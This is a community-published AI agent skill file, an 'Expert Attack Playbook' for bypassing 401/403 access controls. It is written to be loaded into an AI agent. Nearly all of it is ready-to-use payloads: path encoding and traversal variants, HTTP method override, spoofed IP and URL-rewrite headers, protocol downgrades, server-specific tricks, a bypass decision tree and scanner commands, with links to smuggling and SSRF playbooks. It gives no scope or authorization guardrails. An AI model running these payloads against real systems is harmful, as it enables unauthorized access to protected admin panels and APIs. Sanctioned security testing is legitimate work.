Community / AGENT SKILL
401-403-bypass-techniques
0
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
The full skill.
Original instructions from the publisher’s SKILL.md
# SKILL: 401/403 Bypass Techniques — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Comprehensive 401/403 forbidden bypass techniques. Covers path normalization tricks, HTTP method override, header-based bypasses (X-Original-URL, X-Forwarded-For), protocol version tricks, and combination attacks. Base models typically know 2-3 header bypasses but miss the full matrix of path manipulation variants and verb+path combos. ## 0. RELATED ROUTING - [authbypass-authentication-flaws](../authbypass-authentication-flaws/SKILL.md) — broader auth bypass (login flaws, session handling) - [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) — when bypass is WAF-specific rather than access control - [http-host-header-attacks](../http-host-header-attacks/SKILL.md) — Host header manipulation for routing bypass - [request-smuggling](../request-smuggling/SKILL.md) — smuggle past access controls entirely - [http2-specific-attacks](../http2-specific-attacks/SKILL.md) — h2c smuggling to bypass proxy ACLs --- ## 1. PATH MANIPULATION BYPASSES The core idea: the reverse proxy/WAF checks one path format, but the backend normalizes differently. ### 1.1 Trailing Slash / Missing Slash ``` /admin → 403 /admin/ → 200 ✓ (trailing slash) /admin/. → 200 ✓ (trailing dot) ``` ### 1.2 Case Sensitivity ``` /admin → 403 /Admin → 200 ✓ /ADMIN → 200 ✓ /aDmIn → 200 ✓ ``` Works when: proxy rule is case-sensitive but backend is case-insensitive (common on Windows/IIS). ### 1.3 URL Encoding ``` /admin → 403 /%61dmin → 200 ✓ (encode 'a') /admi%6e → 200 ✓ (encode 'n') /%61%64%6d%69%6e → 200 ✓ (full encode) ``` ### 1.4 Double URL Encoding ``` /admin → 403 /%2561dmin → 200 ✓ (%25 = %, decoded twice: %61 → a) /admin%252f → 200 ✓ /admin..%252f → 200 ✓ ``` ### 1.5 Unicode / UTF-8 Encoding ``` /admin → 403 /admi%C0%AE → 200 ✓ (overlong UTF-8 for '.') /admi%C0%6E → 200 ✓ (overlong encoding) /%C0%AFadmin → 200 ✓ (overlong '/') ``` ### 1.6 Dot-Segment / Path Traversal ``` /admin → 403 /./admin → 200 ✓ //admin → 200 ✓ /admin/./ → 200 ✓ /.//admin → 200 ✓ /admin..;/ → 200 ✓ (Tomcat path parameter) ``` ### 1.7 Null Byte ``` /admin → 403 /admin%00 → 200 ✓ /admin%00.json → 200 ✓ /%00/admin → 200 ✓ ``` ### 1.8 Path Parameter Injection ``` /admin → 403 /admin;foo=bar → 200 ✓ (Tomcat/Java treats ; as path param) /admin; → 200 ✓ /admin;x → 200 ✓ ``` ### 1.9 Trailing Special Characters ``` /admin%20 (space) /admin%09 (tab) /admin? (empty query) /admin.json /admin.html /admin/~ ``` ### 1.10 Backslash (Windows/IIS) ``` /admin\ /admin\..\/ \..\admin ``` ### 1.11 Combined Path Tricks ``` ///admin/// /./admin/./ /admin/..;/admin (Tomcat) /%2e/admin ``` --- ## 2. HTTP METHOD BYPASS ### 2.1 Direct Method Change ``` GET /admin → 403 POST /admin → 200 ✓ PUT /admin → 200 ✓ PATCH /admin → 200 ✓ DELETE /admin → 200 ✓ OPTIONS /admin → 200 ✓ (may leak allowed methods) TRACE /admin → 200 ✓ (may reflect headers — XST) HEAD /admin → 200 ✓ (same as GET but no body — confirms access) ``` ### 2.2 Method Override Headers When the proxy blocks by method, but the backend reads override headers: ```http GET /admin HTTP/1.1 X-HTTP-Method-Override: PUT GET /admin HTTP/1.1 X-Method-Override: POST GET /admin HTTP/1.1 X-HTTP-Method: DELETE POST /admin HTTP/1.1 X-HTTP-Method-Override: PATCH _method=PUT (in POST body — Rails, Laravel) ``` ### 2.3 Custom / Invalid Methods ``` FOOBAR /admin HTTP/1.1 → some ACLs only check GET/POST GETS /admin HTTP/1.1 → typo-like methods may bypass CONNECT /admin HTTP/1.1 → proxy may tunnel PROPFIND /admin HTTP/1.1 → WebDAV method MOVE /admin HTTP/1.1 → WebDAV method ``` --- ## 3. HEADER-BASED BYPASS ### 3.1 URL Rewrite Headers (Nginx/IIS) These headers tell the backend the "real" URL, bypassing proxy-level path checks: ```http GET / HTTP/1.1 X-Original-URL: /admin GET / HTTP/1.1 X-Rewrite-URL: /admin ``` The proxy sees `GET /` (allowed), but the backend routes to `/admin`. ### 3.2 IP Spoofing Headers (Whitelist Bypass) Headers to try (each with values `127.0.0.1`, `10.0.0.1`, `0.0.0.0`, `::1`): ```http X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1 ``` IP encoding variants: `0177.0.0.1` (octal), `2130706433` (decimal), `0x7f000001` (hex), `localhost` ### 3.3 Other Header Tricks ```http Referer: https://target.com/admin # Referrer check bypass Origin: https://target.com # Origin check bypass Host: localhost # Host header manipulation X-Forwarded-Host: localhost # Forwarded host Content-Type: application/json # Content-type switch X-Requested-With: XMLHttpRequest # AJAX flag ``` --- ## 4. PROTOCOL VERSION BYPASS ```http # HTTP/1.0 (some ACLs only apply to HTTP/1.1) GET /admin HTTP/1.0 # HTTP/0.9 (extremely legacy — no headers) GET /admin # HTTP/2 pseudo-header tricks :method: GET :path: /admin :authority: target.com # See ../http2-specific-attacks/SKILL.md for H2-specific bypasses ``` --- ## 5. VERB TAMPERING + PATH COMBINATION Combine multiple techniques for higher success rate: ```http POST / HTTP/1.1 # method override + URL rewrite X-Original-URL: /admin X-HTTP-Method-Override: GET GET /%61dmin HTTP/1.1 # IP spoof + path encoding X-Forwarded-For: 127.0.0.1 GET /Admin HTTP/1.0 # protocol + case + IP spoof X-Forwarded-For: 127.0.0.1 ``` --- ## 6. TECHNOLOGY-SPECIFIC BYPASSES | Server | Key Tricks | |---|---| | **Apache** | `/admin/` (trailing slash), `/.admin` (dot prefix), `/admin%0d` (CR) | | **Nginx** | `/Admin` (case), `/admin../` (normalization), `X-Original-URL: /admin` | | **IIS/ASP.NET** | `/admin;.css` (path param+ext), `/admin\` (backslash), `/admin::$DATA` (ADS), `/admin%20` | | **Tomcat/Java** | `/admin;foo` (path param), `/admin..;/` (traversal), `/;/admin` (empty param) | | **Spring** | `/admin.anything` (suffix matching, older), `/admin/` (trailing slash) | --- ## 7. AUTOMATED TOOLS | Tool | Purpose | URL | |---|---|---| | **byp4xx** | Comprehensive 403 bypass scanner | github.com/lobuhi/byp4xx | | **403bypasser** | Automated header/path/method bypass | github.com/sting8k/403bypasser | | **dirsearch** | Directory brute-force with encoding variants | github.com/maurosoria/dirsearch | | **feroxbuster** | Recursive content discovery | github.com/epi052/feroxbuster | | **Burp Intruder** | Custom payload lists for manual testing | portswigger.net | ### byp4xx usage ```bash # Basic usage ./byp4xx.sh https://target.com/admin # Output shows all attempted bypasses and their response codes # 200/301/302 responses = potential bypass found ``` --- ## 8. DECISION TREE ``` Got 401 or 403 on a path? │ ├── Try PATH MANIPULATION first (highest success rate) │ ├── /path/ (trailing slash) │ ├── /PATH (case change) │ ├── /path%20 (trailing space) │ ├── /./path (dot segment) │ ├── //path (double slash) │ ├── /path;x (path parameter — Java/Tomcat) │ ├── /path..;/ (Tomcat specific) │ ├── /%2e/path (encoded dot) │ ├── /path%00 (null byte) │ ├── /path%23 (encoded hash) │ └── Result? → 200 = bypass found │ ├── Path tricks failed → Try METHOD BYPASS │ ├── POST/PUT/PATCH/DELETE/OPTIONS │ ├── HEAD (same as GET without body) │ ├── X-HTTP-Method-Override: PUT │ └── TRACE (may reflect auth headers — XST) │ ├── Method tricks failed → Try HEADER BYPASS │ ├── X-Original-URL: /path (Nginx/IIS rewrite) │ ├── X-Rewrite-URL: /path (same concept) │ ├── X-Forwarded-For: 127.0.0.1 (IP whitelist) │ ├── X-Real-IP: 127.0.0.1 │ ├── True-Client-IP: 127.0.0.1 │ └── Referer: https://target.com/path │ ├── Header tricks failed → Try PROTOCOL BYPASS │ ├── HTTP/1.0 instead of 1.1 │ ├── HTTP/2 h2c smuggling (../http2-specific-attacks/) │ └── WebSocket upgrade │ ├── Single techniques failed → Try COMBINATIONS │ ├── Method + Path: POST /PATH/ │ ├── Header + Path: X-Forwarded-For + /path%20 │ ├── All three: POST + X-Original-URL + IP headers │ └── Protocol + Path: HTTP/1.0 + encoded path │ ├── All bypasses failed → Consider ALTERNATIVE APPROACHES │ ├── Request smuggling (../request-smuggling/) → smuggle past ACL │ ├── SSRF (../ssrf-server-side-request-forgery/) → access from server │ ├── IDOR (../idor-broken-object-authorization/) → access data directly │ └── Auth flaws (../authbypass-authentication-flaws/) → login bypass │ └── Automated scan with byp4xx / 403bypasser for completeness ``` --- ## 9. QUICK REFERENCE — KEY PAYLOADS ```http # Top 10 quick-wins (try these first) GET /admin/ HTTP/1.1 # trailing slash GET /Admin HTTP/1.1 # case change GET /admin%20 HTTP/1.1 # trailing space GET /./admin HTTP/1.1 # dot segment GET //admin HTTP/1.1 # double slash POST /admin HTTP/1.1 # method change GET / HTTP/1.1 # X-Original-URL bypass X-Original-URL: /admin GET /admin HTTP/1.1 # IP whitelist bypass X-Forwarded-For: 127.0.0.1 GET /admin;.css HTTP/1.1 # IIS path param GET /admin..;/ HTTP/1.1 # Tomcat bypass ```